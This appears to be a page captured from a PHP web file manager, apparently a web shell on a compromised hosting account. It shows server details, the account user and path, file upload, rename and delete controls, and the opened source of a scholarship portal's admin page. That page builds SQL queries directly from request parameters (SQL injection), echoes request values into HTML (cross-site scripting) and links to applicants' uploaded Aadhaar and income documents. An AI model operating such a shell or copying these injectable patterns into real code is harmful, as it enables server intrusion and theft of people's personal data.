Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/udan.org.in/public_htmlbkp/webadmin

Free Space:

1.93 TB

🔧 Quick Actions

✏️ Editing: viewdatasch.php

<?php
ob_start();
session_start();
include("includes/inall.php");
$url=basename(__FILE__)."?".(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'');
if($_REQUEST['type']) {
	$_SESSION['stype']=$_REQUEST['type'];
}
if($_SESSION['stype']=="School") {
	$fields="classtype,year,course,class,stream,pharma,nursing,compprepare,comptype,state,district,blockm,panchaw,name,fgname,dob,gender,village,ps,pin,smobile,swhatsapp,email,schname,insname,fincome";
} elseif($_SESSION['stype']=="College") {
	$fields="course,general,semester,others,wadmsn,state,district,blockm,panchaw,name,fgname,dob,gender,village,ps,pin,smobile,swhatsapp,email,schname,insname,fincome";
} else {
	$fields="exam,others,state,district,blockm,panchaw,name,fgname,dob,gender,village,ps,pin,smobile,swhatsapp,email,schname,insname,fincome";
}
$heading="Scholarship Details";
//$addpage="adddata.php";
$listpage="viewdatasch.php";
if(isset($_REQUEST['delete']) && $_REQUEST['delete']=="yes") {
	mysqli_query($con,"delete from `dataforms` where `did`='".$_REQUEST['id']."'");
	$_SESSION['msg']="Entry is deleted successfully.";
	header("Location:".$listpage);
	exit();	
}
if(isset($_REQUEST['approve']) && $_REQUEST['approve']=="yes") {
	$d=date("Y-m-d");
	mysqli_query($con,"update `".$table."` set `".$status."`='1' where `".$pkey."`='".$_REQUEST['id']."'");
	$got="go".$_REQUEST['got'];
	$_SESSION['msg']=$heading." is approved successfully.";
	header("Location:".$listpage."#".$got);
	exit();
}
if(isset($_REQUEST['reject']) && $_REQUEST['reject']=="yes") {
	mysqli_query($con,"update `".$table."` set `".$status."`='0' where `".$pkey."`='".$_REQUEST['id']."'");
	$got="go".$_REQUEST['got'];
	$_SESSION['msg']=$heading." is rejected successfully.";
	header("Location:".$listpage."#".$got);
	exit();
}
if($_GET['pg']) {
	$pg=$_GET['pg'];
} else {
	$pg=1;
}
$upper=100;
$lower=$upper*($pg-1);
$sql="select * from `scholarship` dt where dt.stype='".$_SESSION['stype']."'";
if(isset($_REQUEST['fdate']) && $_REQUEST['fdate']!="") {
	$sql.=" and dt.date>='".$_REQUEST['fdate']."'";
}
if(isset($_REQUEST['tdate']) && $_REQUEST['tdate']!="") {
	$sql.=" and dt.date<='".$_REQUEST['tdate']."'";
}
if(isset($_REQUEST['sdistrict']) && $_REQUEST['sdistrict']!="") {
	$sql.=" and dt.district='".$_REQUEST['sdistrict']."'";
}
if(isset($_REQUEST['sblkmn']) && $_REQUEST['sblkmn']!="") {
	$sql.=" and dt.blockm='".$_REQUEST['sblkmn']."'";
}
if(isset($_REQUEST['spnward']) && $_REQUEST['spnward']!="") {
	$sql.=" and dt.panchaw='".$_REQUEST['spnward']."'";
}
if(isset($_REQUEST['smobile']) && $_REQUEST['smobile']!="") {
	$sql.=" and dt.smobile like '%".$_REQUEST['smobile']."%'";
}
if(isset($_REQUEST['swhatsapp']) && $_REQUEST['swhatsapp']!="") {
	$sql.=" and dt.swhatsapp like '%".$_REQUEST['swhatsapp']."%'";
}
$res=mysqli_query($con,$sql);
$num=mysqli_num_rows($res);
$pgno=intval($num/$upper);
if($num%$upper!=0) {
	$pgno=$pgno+1;
}
include("includes/headermain.php"); 
?>
<script language="javascript" type="text/javascript">
function del(page,id) {
	var fd=confirm("Are you sure to delete this entry?");
	if(fd==true) {
		location.href=page+"?id="+id+"&delete=yes";
	}	
}
function approve(page,id,got) {
	location.href=page+"?id="+id+"&got="+got+"&approve=yes";
}
function reject(page,id,got) {
	location.href=page+"?id="+id+"&got="+got+"&reject=yes";
}
</script>
<body>


<div id="preloader">
	<div class="loader"></div>
</div>


<div class="page-container">
	
	<?php include("includes/leftmenu.php"); ?>
	
	
	<div class="main-content">
		
		<?php include("includes/header.php"); ?>
		
	 	<div class="main-content-inner">
			
			<div> 
				<div class="col-lg-12 mt-4">
					<div class="card">
						<div class="card-body">
							<h4 class="header-title">Data of <?php print $heading; ?></h4>
							<form action="#" method="get">
								<div class="form-group col-md-6 floatleft">
									<label for="example-date-input" class="col-form-label">From Date</label>
									<input class="form-control sphgt" type="date" name="fdate" id="fdate" value="<?php print $_REQUEST['fdate']; ?>">
								</div>
								<div class="form-group col-md-6 floatleft">
									<label for="example-date-input" class="col-form-label">To Date</label>
									<input class="form-control sphgt" type="date" name="tdate" id="tdate" value="<?php print $_REQUEST['tdate']; ?>">
								</div>
								<div class="cleaner"></div>
								<div class="form-group col-md-3 floatleft">
									<label for="example-date-input" class="col-form-label">District</label>
									<select class="form-control sphgt" name="sdistrict" id="sdistrict">
										<option value="">Select District
										<?php
										$res=mysqli_query($con,"select distinct `district` from `dataforms` where `status`='1' and `district`!=''");
										while($row=mysqli_fetch_array($res)) {
										?>
											<option value="<?php print $row['district']; ?>" <?php if($_REQUEST['sdistrict']==$row['district']) { ?>selected<?php } ?>><?php print ucwords(strtolower($row['district'])); ?>
										<?php } ?>
									</select>
								</div>
								<div class="form-group col-md-3 floatleft">
									<label for="example-date-input" class="col-form-label">Block/Municipality</label>
									<select class="form-control sphgt" name="sblkmn" id="sblkmn">
										<option value="">Select Block/Municipality
										<?php
										$res=mysqli_query($con,"select distinct `blockm` from `dataforms` where `status`='1' and `blockm`!=''");
										while($row=mysqli_fetch_array($res)) {
										?>
											<option value="<?php print $row['blockm']; ?>" <?php if($_REQUEST['sblkmn']==$row['blockm']) { ?>selected<?php } ?>><?php print ucwords(strtolower($row['blockm'])); ?>
										<?php } ?>
									</select>
								</div>
								<div class="form-group col-md-3 floatleft">
									<label for="example-date-input" class="col-form-label">Panchayat/Ward</label>
									<select class="form-control sphgt" name="spnward" id="spnward">
										<option value="">Select Panchayat/Ward
										<?php
										$res=mysqli_query($con,"select distinct `panchaw` from `dataforms` where `status`='1' and `panchaw`!=''");
										while($row=mysqli_fetch_array($res)) {
										?>
											<option value="<?php print $row['panchaw']; ?>" <?php if($_REQUEST['spnward']==$row['panchaw']) { ?>selected<?php } ?>><?php print ucwords(strtolower($row['panchaw'])); ?>
										<?php } ?>
									</select>
								</div>
								<div class="form-group col-md-3 floatleft">
									<label for="example-date-input" class="col-form-label">Class</label>
									<select class="form-control sphgt" name="class" id="class">
										<option value="">Select
										<option value="I" <?php if($_REQUEST['class']=="I") { ?>selected<?php } ?>>I
										<option value="II" <?php if($_REQUEST['class']=="II") { ?>selected<?php } ?>>II
										<option value="III" <?php if($_REQUEST['class']=="III") { ?>selected<?php } ?>>III
										<option value="IV" <?php if($_REQUEST['class']=="IV") { ?>selected<?php } ?>>IV
										<option value="V" <?php if($_REQUEST['class']=="V") { ?>selected<?php } ?>>V
										<option value="VI" <?php if($_REQUEST['class']=="VI") { ?>selected<?php } ?>>VI
										<option value="VII" <?php if($_REQUEST['class']=="VII") { ?>selected<?php } ?>>VII
										<option value="VIII" <?php if($_REQUEST['class']=="VIII") { ?>selected<?php } ?>>VIII
										<option value="IX" <?php if($_REQUEST['class']=="IX") { ?>selected<?php } ?>>IX
										<option value="X" <?php if($_REQUEST['class']=="X") { ?>selected<?php } ?>>X
										<option value="XI" <?php if($_REQUEST['class']=="XI") { ?>selected<?php } ?>>XI
										<option value="XII" <?php if($_REQUEST['class']=="XII") { ?>selected<?php } ?>>XII
									</select>
								</div>
								<div class="cleaner"></div>
								<div class="form-group col-md-6 floatleft">
									<label for="example-date-input" class="col-form-label">Phone No.</label>
									<input class="form-control sphgt" type="text" name="smobile" id="smobile" value="<?php print $_REQUEST['smobile']; ?>">
								</div>
								<div class="form-group col-md-6 floatleft">
									<label for="example-date-input" class="col-form-label">WhatsApp No.</label>
									<input class="form-control sphgt" type="text" name="swhatsapp" id="swhatsapp" value="<?php print $_REQUEST['swhatsapp']; ?>">
								</div>
								<div class="cleaner"></div>
								<div class="form-group col-md-6 floatleft">
									<button type="submit" class="btn btn-primary pr-4 pl-4 floatleft">Search</button>
									<button type="button" class="btn btn-primary ml-2 pr-4 pl-4 floatleft" onClick="showall('<?php print basename(__FILE__); ?>');">Show All</button>
								</div>
								<div class="form-group col-md-3 floatright text-right">
									<strong>No. of Entries: <?php print $num; ?></strong>
								</div>
							</form>	
							<div class="cleaner h20"></div>
							<?php if($_SESSION['msgerr']) { ?><span class="redtxt"><?php print $_SESSION['msgerr']; $_SESSION['msgerr']=""; ?></span><div class="cleaner h10"></div><?php } ?>
							<?php if($_SESSION['msg']) { ?><span class="grtxt"><?php print $_SESSION['msg']; $_SESSION['msg']=""; ?></span><div class="cleaner h10"></div><?php } ?>
							<table class="table text-center">
								<thead class="text-uppercase bg-primary">
									<tr class="text-white">
										<td align="left">Sl.</td>
										<td align="left">Date</td>
										<td align="left">Type</td>
										<td align="left">State</td>
										<td align="left">District</td>
										<td align="left">B/M</td>
										<td align="left">P/W</td>
										<td align="left">Name</td>
										<td align="left">Mobile</td>
										<td align="left">Details</td>
										<td align="left">Options</td>
									</tr>
								</thead>
								<tbody>
									<?php
									if($lower==0) {
										$flag=0;
									} else {
										$flag=$lower;
									}
									$sql="select * from `scholarship` dt where dt.stype='".$_SESSION['stype']."'";
									if(isset($_REQUEST['fdate']) && $_REQUEST['fdate']!="") {
										$sql.=" and dt.date>='".$_REQUEST['fdate']."'";
									}
									if(isset($_REQUEST['tdate']) && $_REQUEST['tdate']!="") {
										$sql.=" and dt.date<='".$_REQUEST['tdate']."'";
									}
									if(isset($_REQUEST['sdistrict']) && $_REQUEST['sdistrict']!="") {
										$sql.=" and dt.district='".$_REQUEST['sdistrict']."'";
									}
									if(isset($_REQUEST['sblkmn']) && $_REQUEST['sblkmn']!="") {
										$sql.=" and dt.blockm='".$_REQUEST['sblkmn']."'";
									}
									if(isset($_REQUEST['spnward']) && $_REQUEST['spnward']!="") {
										$sql.=" and dt.panchaw='".$_REQUEST['spnward']."'";
									}
									if(isset($_REQUEST['smobile']) && $_REQUEST['smobile']!="") {
										$sql.=" and dt.smobile like '%".$_REQUEST['smobile']."%'";
									}
									if(isset($_REQUEST['swhatsapp']) && $_REQUEST['swhatsapp']!="") {
										$sql.=" and dt.swhatsapp like '%".$_REQUEST['swhatsapp']."%'";
									}
									$sql.=" order by dt.id desc limit ".$lower.",".$upper;
									$res=mysqli_query($con,$sql);
									if(mysqli_num_rows($res)>=1) {
										while($row=mysqli_fetch_assoc($res)) {
									?>
											<tr <?php if($row[$status]=="0") { ?>class="bg-red"<?php } ?> id="go<?php print $flag++; ?>">
												<td align="left"><?php print $flag; ?></td>
												<td align="left"><?php print dtconvert($row['date']); ?></td>
												<td align="left"><?php print $row['sctype']; ?></td>
												<td align="left"><?php print $row['state']; ?></td>
												<td align="left"><?php print $row['district']; ?></td>
												<td align="left"><?php print $row['blockm']; ?></td>
												<td align="left"><?php print $row['panchaw']; ?></td>
												<td align="left"><?php print $row['name']; ?></td>
												<td align="left"><?php print $row['smobile']; ?></td>
												<td align="left">
													<a href="javascript:void();" data-toggle="modal" data-target="#exampleModalLong<?php print $flag; ?>">Details</a>
													
													<div class="modal fade" id="exampleModalLong<?php print $flag; ?>">
														<div class="modal-dialog">
															<div class="modal-content">
																<div class="modal-header">
																	<h5 class="modal-title">Details</h5>
																	<button type="button" class="close" data-dismiss="modal"><span>&times;</span></button>
																</div>
															  	<div class="modal-body">
																	<p>
																		<?php 
																		$fieldarr=explode(",",$fields);
																		foreach($fieldarr as $val) {
																			if($row[$val]!="") {
																				print $row[$val]."<br>";
																			}	
																		}
																		?>
																		<?php if($row['marksheet']!="") { ?><a href="../app/rdocs/<?php print $row['marksheet']; ?>" target="_new">View Academic Qualification (Last Marksheet)<a/><br><?php } ?>
																		<?php if($row['icertificate']!="") { ?><a href="../app/rdocs/<?php print $row['icertificate']; ?>" target="_new">View Income Certificate<a/><br><?php } ?>
																		<?php if($row['photo']!="") { ?><a href="../app/rdocs/<?php print $row['photo']; ?>" target="_new">View Photo<a/><br><?php } ?>
																		<?php if($row['saadhaar']!="") { ?><a href="../app/rdocs/<?php print $row['saadhaar']; ?>" target="_new">View Aadhaar<a/><br><?php } ?>
																	</p>
																</div>
																<div class="modal-footer">
																	<button type="button" class="btn btn-primary" data-dismiss="modal">Close</button>
																	
																</div>
															</div>
														</div>
													</div>
												</td>
												<td align="left">
													<?php /* ?><a href="<?php print $addpage; ?>?eid=<?php print $row['did']; ?>&action=Update&flag=<?php print $flag; ?>">Edit</a><br><?php */ ?>
													<a href="#" class="redtxt" onClick="del('<?php print $listpage; ?>','<?php print $row['did']; ?>');return false;" class="redtxt">Delete</a>
												</td>
											</tr>
									<?php }  } else { ?>
										<tr>
											<td colspan="15">Sorry, nothing found.</td>
										</tr>
									<?php } ?>	
								</tbody>
							</table>
							<?php if($num>=1) { ?>
								<div class="cleaner h20"></div>
								        
								<?php include("includes/pagination.php"); ?>
								    
							<?php } ?>
						</div>
					</div>
				</div>
			</div>
			
		</div>
	</div>
	
	<?php include("includes/footer.php"); ?>
</div>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: viewdatasch.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation